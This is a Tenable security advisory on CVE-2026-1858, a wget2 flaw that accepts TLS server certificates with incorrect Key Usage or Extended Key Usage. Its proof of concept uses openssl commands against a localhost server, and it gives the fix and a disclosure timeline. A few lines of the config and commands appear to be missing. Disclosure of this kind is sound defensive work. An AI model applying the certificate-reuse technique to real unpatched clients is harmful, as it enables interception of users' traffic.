wget2 Improper Certificate Validation

Medium

← View More Research Advisories

Synopsis

Tenable Research discovered that wget2 accepts a server certificate with incorrect Key Usage (KU) or Extended Key Usage (EKU). If the attackers compromise a certificate (with the associated private key) issued for a different purpose, they may be able to reuse it for TLS server authentication.

Proof of Concept:
In this PoC, we will demonstrate generating private keys and the corresponding X.509 certificates, configuring a TLS server to use them, and then how wget2 fails to properly validate certificates not meant to be used for TLS server authentication. In a real attack, the attackers would reuse the X.509 certificate and its corresponding key they managed to compromise.

Generate a set of RSA keys:

```
openssl genrsa -out ca-key.pem 2048
openssl genrsa -out server-key.pem 2048
```

Create an OpenSSL config:

```
cat openssl-ca.cfg
[ ca ]
keyUsage               = critical,digitalSignature,keyCertSign,cRLSign
extendedKeyUsage       = serverAuth,clientAuth
basicConstraints       = critical,CA:TRUE
subjectKeyIdentifier   = hash
authorityKeyIdentifier = keyid:always
```

```
basicConstraints        = critical,CA:FALSE
subjectKeyIdentifier    = hash
authorityKeyIdentifier  = keyid:always

[ server-bad-eku ]
keyUsage                = critical,digitalSignature
extendedKeyUsage        = codeSigning
basicConstraints        = critical,CA:FALSE
subjectKeyIdentifier    = hash
authorityKeyIdentifier  = keyid:always

[ server-bad-ku ]
keyUsage                = critical,cRLSign
extendedKeyUsage        = serverAuth
basicConstraints        = critical,CA:FALSE
subjectKeyIdentifier    = hash
authorityKeyIdentifier  = keyid:always
```

Generate root CA certificate:

```
openssl req -x509 -new -key ca-key.pem -days 365 -out ca-cert.pem -subj "/CN=TestCA" -config
openssl-ca.cfg -extensions ca
```

Generate a certificate signing request:

```
openssl req -new -key server-key.pem -out server.csr -subj "/CN=server" -addext
"subjectAltName = DNS:localhost"
```

Generate a valid server certificate:

```
openssl x509 -req -CA ca-cert.pem -CAkey ca-key.pem -CAcreateserial -in server.csr -out
server-cert.pem -days 365 -extfile openssl-ca.cfg -extensions server -copy_extensions copyall
```

Check EKU and KU in the generated certificate:

```
openssl x509 -text -noout -in server-cert.pem | grep -i 'Key Usage' -A1
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage:
                TLS Web Server Authentication
```

```
openssl x509 -req -CA ca-cert.pem -CAkey ca-key.pem -CAcreateserial -in server.csr -out
server-bad-ku-cert.pem -days 365 -extfile openssl-ca.cfg -extensions server-bad-ku -
copy_extensions copyall
```

Check EKU and KU in the generated certificates:

```
openssl x509 -text -noout -in server-bad-eku-cert.pem | grep -i 'Key Usage' -A1
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage:
                Code Signing

openssl x509 -text -noout -in server-bad-ku-cert.pem | grep -i 'Key Usage' -A1
            X509v3 Key Usage: critical
                CRL Sign
            X509v3 Extended Key Usage:
                TLS Web Server Authentication
```

Start a server using a valid server certificate:

```
openssl s_server -key server-key.pem -cert server-cert.pem -www -port 8080
```

Connection succeeds as expected:

```
wget2 https://localhost:8080 --ca-certificate ca-cert.pem
index.html           100%
[=============================================================================================
  4.71K    --.-KB/s
                         [Files: 1  Bytes: 4.71K [337.12KB/s] Redirects: 0  Todo: 0  Errors:
0
```

Start a server using a server certificate with incorrect EKU:

```
openssl s_server -key server-key.pem -cert server-bad-eku-cert.pem -www -port 8080
```

Connection succeeds while it shouldn’t:

```
wget2 https://localhost:8080 --ca-certificate ca-cert.pem
index.html.1         100%
[=============================================================================================
  4.72K    --.-KB/s
```

```
openssl s_server -key server-key.pem -cert server-bad-ku-cert.pem -www -port 8080
```

Connection again succeeds while it shouldn't:

```
wget2 https://localhost:8080 --ca-certificate ca-cert.pem
index.html.2         100%
[=============================================================================================================
  4.72K    --.-KB/s
                         [Files: 1  Bytes: 4.72K [214.84KB/s] Redirects: 0  Todo: 0  Errors:
0
```

In the last two cases, wget2 accepted server certificates with incorrect EKU or KU.

Solution

Upgrade to commit f4854d7fbc0a85c1d9873f5980707c0b80df212a or version v2.2.2 or later.

Additional References

https://gitlab.com/gnuwget/wget2/-/commit/f4854d7fbc0a85c1d9873f5980707c0b80df212a

Disclosure Timeline

January 6, 2026: Tenable sends disclosure email.
January 7, 2026: wget2 replies that they are unable to decrypt. Tenable submits via the next method suggested.
January 11, 2026: wget2 confirms and asks for some additional details.
January 15, 2026: Tenable sends additional details.
January 28, 2026: Tenable requests a status update.
February 2, 2026: wget2 replies that they have completed the fix and requests validation.
February 3, 2026: Tenable replies with notes and additional steps to fix.
February 25, 2026: Tenable requests a status update.
March 23, 2026: Tenable requests a status update.
March 24, 2026: wget2 replies that they fixed the issues but there is another issue open and they don't have bandwidth right now to do more.
March 30, 2026: Tenable acknowledges.

customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email bughunters@tenable.com

Risk Information

CVE ID: CVE-2026-1858
Tenable Advisory ID: TRA-2026-37
Credit:
Ireneusz Pastusiak
CVSSv3 Base / Temporal Score:
4.8
CVSSv3 Vector:
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Affected Products:
wget2
Risk Factor:
Medium

Advisory Timeline

April 29, 2026 - Initial release.

Tenable Enclave Security

Tenable Attack Surface Management

Tenable Nessus

Tenable AI Exposure

Tenable OT Security

Tenable Identity Exposure

View all ›

Featured solutions

Active Directory

Building management systems

Cloud security posture management

Compliance

Exposure management

Banks and financial services

Healthcare

Hybrid cloud security

IT/OT

Ransomware

State / Local / Education

US federal

Vulnerability management

Zero trust

View all ›

Customer resources

Resource library

Tenable Research
Documentation
Cybersecurity guide
Why Tenable
Trust
System status

Connections

Blog
Contact us
Careers
Investors
Tenable Ventures
Events
Media

Privacy policy
Do not sell/share my personal information
Legal
508 compliance